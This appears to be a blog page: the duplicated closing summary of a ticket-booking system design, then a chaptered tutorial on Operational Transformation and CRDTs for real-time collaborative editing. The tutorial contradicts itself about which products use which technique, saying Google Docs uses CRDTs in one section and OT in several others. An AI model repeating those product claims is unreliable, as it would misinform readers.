Strong consistency for bookings, eventual for catalog
WebSocket for real-time updates with polling fallback
Virtual waiting room for high-traffic events

Critical Path: Seat Selection → Lock Acquisition → Payment → Booking Confirmation

Each step has fallback and retry mechanisms
Idempotency ensures safe retries
Atomic operations prevent race conditions

Comprehensive Checklist:

Pre-Interview Preparation:

Architecture:
□ Explain distributed locking strategy
□ Describe multi-layer consistency approach
□ Discuss scaling for high-traffic events

Frontend:
□ Accessible seat map implementation
□ Real-time updates (WebSocket/polling)
□ Mobile and touch optimizations
□ Offline ticket support

Backend:
□ Seat lock acquisition flow
□ Payment processing with idempotency
□ Error handling and recovery
□ Rate limiting and fraud prevention

Testing:
□ Unit tests for lock manager
□ Integration tests for booking flow
□ Load tests for concurrency
□ Chaos engineering scenarios

Production:
□ Multi-region deployment
□ Monitoring and alerting
□ Backup and disaster recovery
□ Incident response procedures

Document Version: 2.0
Last Updated: December 22, 2025
Author: System Design Interview Prep

Consistency: Distributed locking with Redis + DB to prevent double booking
Scalability: Microservices, caching, horizontal scaling
Performance: Sub-second response times through caching and optimization
Reliability: Multi-layer error handling, retry mechanisms, reconciliation
User Experience: Real-time seat updates, clear error messages, smooth flow

Key Technical Decisions:

Redis for distributed locks (performance + TTL)
PostgreSQL for transactional data (ACID guarantees)
Optimistic + Pessimistic locking (defense in depth)
Event-driven architecture (scalability)
Strong consistency for bookings, eventual for catalog

Critical Path: Seat Selection → Lock Acquisition → Payment → Booking Confirmation

Each step has fallback and retry mechanisms
Idempotency ensures safe retries
Atomic operations prevent race conditions

This design can handle millions of users, thousands of concurrent bookings, and zero double bookings with proper implementation and testing.

Operational Transformation (OT) and CRDTs - Real-Time Collaboration Systems

Arghya Majumder — Sun, 11 Jan 2026 11:15:33 +0000

Operational Transformation (OT) and CRDTs

Chapter 1 — The Nature of Concurrent Editing

Real-time collaboration is not a UI problem.

It is one of the hardest problems in distributed systems.

Systems like Google Docs, Figma, Notion, Slack Canvas, and collaborative IDEs allow many users to edit the same logical document at the same time.

They must survive:

network delay
message reordering
offline edits
reconnection
concurrent conflicting changes

Yet all users must eventually see the same document.

This is harder than it sounds.

1.1 A document is not a string

We often imagine a document as a string:

hello world

But in a collaborative system, the document is not the string.

It is the result of a sequence of operations.

For example:

Insert("h", 0)
Insert("e", 1)
Insert("l", 2)
Insert("l", 3)
Insert("o", 4)

The string hello is just the materialized view of these operations.

When two people edit, they are not editing the string.

They are creating streams of operations.

The system must merge those streams.

1.2 What concurrency means

Start with:

cat

Alice inserts s at the end → cats

Bob inserts r at the beginning → rcat

These edits are concurrent if:

Alice does not know about Bob’s edit
Bob does not know about Alice’s edit

There is no global “who was first”.

Concurrency means:
The system must choose a consistent order for operations created independently.

1.3 Network order is wrong

Alice types first.

Bob types second.

Alice’s packet is delayed.

Bob’s arrives first.

If we apply by arrival order:

Bob → Alice

If we apply by user time:

Alice → Bob

These produce different results.

Network time is not causal time.

1.4 What users actually expect

If Alice inserts a character at position 5, she expects it to appear after the fifth character she saw.

Bob’s edit should not move her cursor.

This is intention preservation.

Even if the final text matches, the experience is broken if intention is violated.

1.5 The impossible triangle

A collaborative editor must have:

Instant local edits
Offline support
Strong convergence

Locks break 1

Central servers break 2

Last-write-wins breaks 3

So we need mathematics to merge operations.

That is why OT and CRDT exist.

1.6 What we are really solving

Given:

many replicas
many operations
no global clock
unreliable networks

We must guarantee:

everyone converges
nobody’s intent is lost

Everything else follows from this.

Next chapter:

Why naive merging fails.

Chapter 2 — Why Naive Merging Always Fails

To understand why Operational Transformation and CRDTs exist, we must first understand why every simple approach to merging edits fails.

Most engineers instinctively try one of the following:

Last write wins
Server decides order
Lock the document
Merge strings

All of them break in subtle but catastrophic ways.

2.1 The illusion of “just send the full document”

The simplest idea is:

Every time a user types, send the entire document to the server.

The server keeps the latest version.

Everyone else downloads it.

This is how file sync systems work.

This fails immediately for collaboration.

Example:

Start with:

hello

Alice changes it to:

hello world

Bob changes it to:

hello there

Both send their full documents.

Whichever arrives last overwrites the other.

One user’s work disappears.

This violates:

Convergence (they won’t match)
Intention (someone loses data)

2.2 Last write wins is data loss

Last-write-wins means:
The system orders updates by timestamp and keeps the latest.

This works for:

configuration values
counters
key-value stores

It fails for text.

Alice inserts “A” at position 5.

Bob inserts “B” at position 5.

Both have valid intent.

One of them must not be deleted.

But LWW will drop one.

2.3 Server-ordered streams

Another idea:

Clients send operations to the server.

The server assigns a global order.

Everyone replays operations in that order.

This works only if:
All edits go through the server.

That breaks:

offline editing
high-latency links
peer-to-peer

And even with a server, race conditions still occur.

Example:

Alice and Bob both send “insert at position 5”.

Whichever arrives first shifts the document.

The second one is now wrong.

Positions are relative to the user’s view, not the server’s view.

2.4 Why positions are unstable

Positions are not absolute.

They are based on the document state when the user typed.

If the document changes before the operation is applied, the position must move.

Naive systems do not adjust positions.

This creates:

scrambled text
characters in wrong places
corrupted documents

2.5 The core unsolved problem

The real problem is:

How do you apply an operation created on an old document to a newer document and still preserve what the user meant?

Example:

Document at time T0:

abcd

Alice sees:

abcd

and deletes “b”.

Bob inserts “X” at position 0.

Now Alice’s delete at position 1 is wrong.

We must translate Alice’s operation so it still deletes “b” in the new document.

That translation is the heart of OT.

2.6 What must be true for any correct system

Any correct collaboration system must do all three:

Allow concurrent operations
Reconcile them deterministically
Preserve user intent

Naive merging cannot do this.

Only two known families of algorithms can:

Operational Transformation
CRDTs

Next chapter:

The formal operation model.

Chapter 3 — The Operation Model

Before we can understand OT or CRDTs, we must define what an “edit” actually is.

We cannot reason about strings.

We must reason about operations.

3.1 What is an operation?

An operation is a minimal change to the document.

For text, the basic operations are:

Insert(character, position)
Delete(position)

Everything else — replace, paste, cut — reduces to these.

Example:

Typing “hi” at position 3 becomes:

Insert("h", 3)
Insert("i", 4)

Deleting “o” at position 5 becomes:

Delete(5)

Operations are:

Small
Ordered
Relative to a document state

3.2 Operations are state-dependent

An operation is not absolute.

Insert("A", 5) means:
Insert A after the 5th character in the document I saw.

If the document changes, position 5 may no longer be the same place.

Therefore:
An operation is valid only in the state it was created.

3.3 Local vs remote operations

Each replica sees two streams:

Local operations (from the user)
Remote operations (from others)

Local operations are applied immediately.

Remote operations arrive later and must be merged.

This means every replica is temporarily diverged.

Convergence must be achieved later.

3.4 Causality

If Alice types A then B, every replica must apply A before B.

This is causality.

But Bob’s edits may interleave anywhere.

We therefore need:

causal ordering
concurrent operation resolution

3.5 Version vectors and clocks

To reason about causality, replicas attach metadata:

Each operation includes:

replica ID
sequence number
vector clock or Lamport clock

This allows us to know:

which operations happened before others
which are concurrent

Without this, conflict resolution is impossible.

3.6 The real abstraction

A collaborative document is:

A replicated log of operations.

Not a file.

Not a string.

OT and CRDT define how those logs merge.

Next chapter:

Operational Transformation — how it actually works.

Chapter 4 — Operational Transformation (OT)

Operational Transformation is a technique for making operations created on one version of a document work on a different version.

It does not change the data.

It changes the operations.

4.1 The core idea

When a remote operation arrives, the document may already contain other changes.

So instead of applying it directly, we transform it.

We rewrite:

op_remote

into:

op_remote'

so that it still does what the user intended on the current document.

4.2 A simple example

Start with:

abcd

Alice deletes b:

Delete(1)

Bob inserts X at the beginning:

Insert("X", 0)

If Bob’s insert is applied first, the document becomes:

Xabcd

Now Alice’s Delete(1) would delete a, not b.

So we transform Alice’s delete:

Bob inserted before Alice’s position, so shift Alice’s position right:

Delete(2)

Applying Delete(2) to Xabcd deletes b.

Alice’s intent is preserved.

4.3 Transform functions

For every pair of operation types, we define a transform:

Transform(Insert, Insert)
Transform(Insert, Delete)
Transform(Delete, Insert)
Transform(Delete, Delete)

Each function adjusts positions.

Example:

Transform(Delete(p), Insert(q)):
  if q <= p: return Delete(p + 1)
  else: return Delete(p)

This is the algebra of OT.

4.4 OT requires a total order

OT systems require that all replicas agree on the same order of operations.

Typically:

A server assigns sequence numbers
Clients replay operations in that order

The server is not applying edits.
It is ordering them.

4.4.1 Why OT works

OT guarantees:

If every replica:

Receives all operations
Applies them in the same order
Uses the same transform functions

Then all documents converge.

And user intent is preserved.

Next chapter:

CRDT — a completely different philosophy.

4.5 The hidden complexity

When more than two users edit concurrently, operations must be transformed multiple times.

Each operation must be transformed against every concurrent operation.

This leads to:

complex state
large buffers
tricky correctness

Google Docs uses OT, but the implementation is extremely intricate.

4.5.0 — Where Operational Transformation Breaks

Operational Transformation works — but only under strict assumptions.

Those assumptions quietly shape its architecture.

When they are violated, OT collapses.

This is why CRDT exists.

4.5.1 OT assumes a total order

OT requires:
All replicas see operations in the same sequence.

This means:
There must be a single authority that decides order.

Usually:

A central server
Or a leader in a cluster

This is not optional.

Without total order, different replicas will transform against different histories and diverge.

4.5.2 Offline editing breaks OT

If Alice edits offline for 10 minutes:

She accumulates 500 operations
Bob continues editing online

When Alice reconnects, there is no shared ordering point.

The server must replay Alice’s operations into a world that has radically changed.

Transforming hundreds of operations against hundreds of others becomes:

expensive
fragile
bug-prone

4.5.3 OT is hard to reason about

OT requires:

operation buffers
transformation graphs
causal histories

One missing transform rule causes corruption.

Small bugs produce:

duplicated characters
deleted text
diverging documents

OT is correct in theory.
It is extremely hard in practice.

4.5.4 OT does not support peer-to-peer

OT assumes a central ordering point.

Peer-to-peer collaboration:

no server
mobile devices
edge-first apps

break this assumption.

There is no place to impose a global sequence.

4.5.5 The fundamental problem

OT solves conflicts by rewriting history.

But distributed systems hate rewriting history.

What if we could design the data so that:
Order does not matter?

That is the CRDT idea.

Next chapter:

Conflict-free Replicated Data Types.

Chapter 5 — Conflict-Free Replicated Data Types (CRDT)

CRDTs take the opposite approach from OT.

OT rewrites operations so they fit the current state.

CRDTs design the data so operations do not conflict.

Instead of fixing history, CRDT makes history unnecessary.

Chapter 5A — The Internal Mechanics of CRDTs

CRDTs are not just “data structures.”

They are distributed convergence protocols encoded directly into data.

They do not rely on servers, timestamps, or ordering services.

They rely on mathematics.

To understand CRDTs, we must first understand what is actually replicated.

5A.1 What a CRDT Actually Replicates

In Operational Transformation (OT) systems, replicas exchange:

Operations

In CRDTs, replicas exchange:

State or
Operation logs that can be merged without order

But the fundamental CRDT rule is:

If two replicas receive the same set of updates — in any order — they must converge to the same state.

This is stronger than eventual consistency.

It is deterministic mathematical convergence.

No clocks.

No leaders.

No coordination.

5A.2 The CRDT Contract

Every CRDT defines two things:

A set of valid states
A merge function

The merge function must be:

Associative
Commutative
Idempotent

Meaning:

merge(A, merge(B, C)) == merge(merge(A, B), C)
merge(A, B) == merge(B, A)
merge(A, A) == A

This guarantees:

Merging replicas in any order, any number of times, always produces the same result.

That is the mathematical heart of CRDTs.

5A.3 Why IDs Replace Positions

Text indexes like 0, 1, 2, 3 are unstable.

If two users insert at index 2 at the same time, indexes break.

So CRDTs use globally unique identifiers instead.

Each character is stored as:

(id, value, tombstone)

A document is not:

"hello"

It is:

[(1.1, "h"), (1.2, "e"), (1.3, "l"), (1.4, "l"), (1.5, "o")]

The document order is defined by ID sorting, not insertion time.

5A.4 How Concurrent Inserts Work

Alice inserts X after ID 1.3

She generates:

1.3.1

Bob inserts Y after ID 1.3

He generates:

1.3.2

Both reference the same anchor.

Note: “These suffixes encode replica identity — in reality the IDs are (1.3, AliceID) and (1.3, BobID), not counters.”

The system sorts:

1.3.1 < 1.3.2

So the final order is:

... l X Y l ...

No conflicts.

No transforms.

No server.

Just deterministic sorting.

5A.5 How Deletes Work

CRDTs do not remove characters.

They mark them as tombstones:

(1.3, "l", deleted = true)

Why?

Because a delete might arrive before the insert.

If we removed elements physically, late inserts would resurrect deleted data.

Tombstones guarantee:

A delete always wins, no matter the delivery order.

5A.6 The Garbage Collection Problem

CRDTs accumulate:

IDs
Tombstones
Metadata

They grow forever.

Real systems must implement:

Compaction
Safe deletion points
Replica agreement on what can be removed

This is one of CRDT’s real costs.

They trade:

Coordination for metadata.

5A.7 Why CRDTs Scale So Well

CRDTs require:

No central ordering
No conflict resolution
No locks
No leaders

They work:

Peer-to-peer
Offline
Across data centers

They trade memory and metadata for:

Simplicity, availability, and fault tolerance.

That is why Google Docs, Figma, and distributed editors use them.

Why This Breaks Traditional Data Structures

In a normal list:

Insert at index 2 → shift everything right

But in a distributed system:

Alice shifts based on her edits
Bob shifts based on his edits
They will disagree

This causes:

Divergence
Conflicts
Data loss

This is why:

Lists are much harder than sets in distributed systems.

What Sequence CRDTs Must Guarantee

Every sequence CRDT must satisfy:

Property	Meaning
Convergence	All replicas eventually show the same text
Intention preservation	Inserts appear where the user intended
No coordination	Works offline
Infinite inserts	Users can keep typing anywhere

This is far harder than counting or set membership.

The Core Insight

Sequence CRDTs do not track:

“insert at index 5”

They track:

“insert between these two existing characters”

That is why they use logical positions instead of numeric indexes.

This is what makes collaborative editing possible.

Chapter 5B — Sequence CRDTs in Detail

Most real-world CRDTs are not counters or sets.

They are documents —

ordered sequences of characters that users edit concurrently.

This is the hardest class of CRDT.

5B.2 Logical Positions Instead of Indexes

CRDTs do not use numeric indexes like 0, 1, 2, 3.

Indexes require global agreement — and global agreement is impossible in a distributed, offline-capable system.

So CRDTs use logical positions instead.

Positions Are Paths, Not Numbers

Instead of saying:

“Insert at index 5”

CRDTs say:

“Insert between these two elements.”

Each character gets a path like:

[3, 15, 9]

This is not a number.

It is a coordinate in a tree.

Paths are compared lexicographically (dictionary order):

[3, 15]      < [3, 15, 5] < [3, 16]

This allows every replica to independently compute the same ordering.

5B.3 How Positions Are Generated

Suppose the document contains two characters:

A at [3, 15]
B at [3, 16]

There is a gap between them.

Now Alice inserts X between A and B.

We must choose a new path between:

[3, 15]   and   [3, 16]

One valid choice is:

[3, 15, 5]

So X becomes:

X at [3, 15, 5]

The ordering becomes:

[3, 15]      A
[3, 15, 5]   X
[3, 16]      B

No coordination is required.

Every replica can compute this.

Chapter 5B.3.0 — Visualizing CRDTs with ASCII Diagrams

CRDTs are easier to understand when you stop thinking about strings and start thinking about trees and timelines.

5B.3.1 A document is a linked structure

Instead of:

hello

CRDT stores:

[1] h → [2] e → [3] l → [4] l → [5] o

Each node has a globally unique ID.

5B.3.2 Concurrent inserts

Start with:

[1] h → [2] e → [3] l → [4] l → [5] o

Alice inserts X after [2]

Bob inserts Y after [2]

They generate:

Alice: [2.1] X
Bob:   [2.2] Y

The structure becomes:

[1] h → [2] e → [2.1] X → [2.2] Y → [3] l → [4] l → [5] o

Order is by ID.

Both survive.

5B.3.3 Deletes with tombstones

Alice deletes 3

CRDT marks:

[3] l (tombstone)

So structure becomes:

[1] h → [2] e → [2.1] X → [2.2] Y → [3] l (X) → [4] l → [5] o

Rendering ignores tombstones.

5B.3.4 Why this handles reordering

Bob may receive delete before insert.

The tombstone sits there.

When insert arrives, it attaches correctly.

This is why order does not matter.

5B.3.5 Why CRDTs never lose data

Every insert has an ID.

Every delete marks an ID.

Nothing is overwritten.

This is the price of safety.

Next:

Why CRDTs grow forever and how real systems deal with it.

Why Infinite Insertions Are Possible

Between any two paths, you can always generate another.

Between:

[3, 15]
[3, 15, 5]

you can generate:

[3, 15, 2]
[3, 15, 3]
[3, 15, 4]

And between those, even more.

This gives CRDTs infinite density — you never run out of positions.

The Cost: Metadata Growth

This technique has a downside.

As more insertions happen between the same characters, paths grow:

[3, 15]
[3, 15, 5]
[3, 15, 5, 7]
[3, 15, 5, 7, 9]
...

Longer paths mean:

More memory
Bigger network messages
Slower comparisons

CRDTs trade coordination for metadata growth.

That is the fundamental cost of being conflict-free.

Mental Model

CRDTs replace global indexes with infinite coordinates on a number line.

That’s what paths like [3, 15, 9] really are.

5B.4 Why this guarantees convergence

All replicas:

generate IDs in the same range
compare IDs the same way

So order is deterministic.

No matter who inserts first.

5B.5 Real implementations

These ideas are implemented in:

RGA
Logoot
LSEQ
Yjs
Automerge

Each balances:

ID length
memory growth
merge speed

5B.6 The performance tradeoff

CRDTs trade:

time complexity for
memory and metadata

In huge docs:
IDs become large.
Traversal slows.
Garbage collection is needed.

This is why Google Docs still uses OT.

Chapter 5D — Why CRDTs Grow Forever and How Real Systems Deal with It

CRDTs achieve safety by never throwing information away.

This is both their superpower and their biggest problem.

5D.1 Why nothing can be deleted

In a CRDT:

Inserts create elements with IDs
Deletes only mark tombstones

Why not remove them?

Because:
A delete might arrive before the insert.

If you physically delete an element and later receive an insert referencing it, the structure breaks.

So CRDTs keep:

all elements
all tombstones
all metadata

Forever.

5D.2 The memory explosion

A document edited for years can have:

millions of deleted characters
deeply nested IDs
large causal metadata

The visible document might be 10 KB.

The CRDT structure might be 100 MB.

This is called metadata bloat.

5D.3 Garbage collection is hard

To safely remove tombstones, all replicas must agree that:
No one can ever reference that element again.

That requires:

version vectors
global knowledge of replica states
or checkpoints

This is extremely hard in peer-to-peer systems.

5D.4 Practical solutions

Real systems use:

Periodic snapshots
Log truncation
State compaction
Background GC

For example:
Figma periodically rewrites the document into a new clean CRDT.

Old IDs are discarded once everyone syncs.

5D.5 The tradeoff

CRDTs trade:

strong availability
offline support
peer-to-peer

for:

memory growth
complexity in garbage collection

OT trades:

availability for:
simpler memory
central coordination

Next:

CRDT memory, compaction, and real-world scaling limits.

Chapter 5E — CRDT Memory, Compaction, and Real-World Scaling Limits

CRDTs look mathematically elegant on paper.

At scale, they become engineering monsters.

This chapter explains why.

5E.1 The hidden size of a CRDT document

A CRDT document is not:

"hello"

It is something like:

[(id1, h, live),
 (id2, e, live),
 (id3, l, tombstone),
 (id4, l, live),
 (id5, o, live)]

Plus:

causal metadata
vector clocks
replica IDs
insertion paths

For every visible character, you store 10–100 bytes of metadata.

For every deleted character, you store it forever.

This means:
A 1MB document can require 50–200MB of CRDT state.

5E.2 ID explosion

Sequence CRDTs use hierarchical IDs:

[3]
[3, 5]
[3, 5, 7]
[3, 5, 7, 1]

As users insert between the same positions, IDs get deeper.

This causes:

slower comparisons
more memory
larger network payloads

Figma and Automerge both had to redesign ID schemes to control this.

5E.3 Network cost

Every CRDT sync includes:

element IDs
tombstones
version vectors

Even small edits send large payloads.

On mobile networks, this hurts badly.

5E.4 Compaction by snapshotting

The only practical way to keep CRDTs sane is:

Periodically:

Pick a moment
Materialize the document into plain text
Rebuild a fresh CRDT from it
Discard old IDs

This is called:
Checkpointing or snapshot compaction.

But:
All replicas must agree on the snapshot point.

This reintroduces coordination.

5E.5 The scaling cliff

CRDTs work brilliantly for:

whiteboards
short documents
P2P tools

They struggle for:

100-page docs
years of history
massive concurrency

This is why:
Google Docs uses OT
Figma uses CRDT with heavy compaction
Notion uses hybrid models

Next chapter:
OT vs CRDT — the brutal comparison.

Chapter 6 — OT vs CRDT: The Brutal Comparison

Dimension	Operational Transformation (OT)	CRDT
Core idea	Rewrite operations to fit current state	Design data so order does not matter
Where complexity lives	In transform functions and server logic	In data structure and identifiers
Need for central server	Mandatory (for total order)	Optional (can be peer-to-peer)
Offline editing	Difficult and fragile	Native and safe
Concurrency handling	Through operation transformation	Through commutative data design
Memory usage	Low	High (IDs, tombstones, metadata)
Network payload	Small operations	Larger state deltas
Failure handling	Server is single point of coordination	Any replica can recover
Ease of reasoning	Hard to implement correctly	Hard to design but simple to apply
Garbage collection	Easy	Extremely hard
Typical products	Google Docs, Office Online	Figma, Notion, Automerge
Scalability model	Vertical (central server)	Horizontal (peer-to-peer, edge)
Main tradeoff	Efficiency over availability	Availability over efficiency

OT optimizes for:

low memory
server authority
predictable behavior

CRDT optimizes for:

offline
decentralization
fault tolerance

Neither is universally better.
They reflect different philosophies about distributed systems.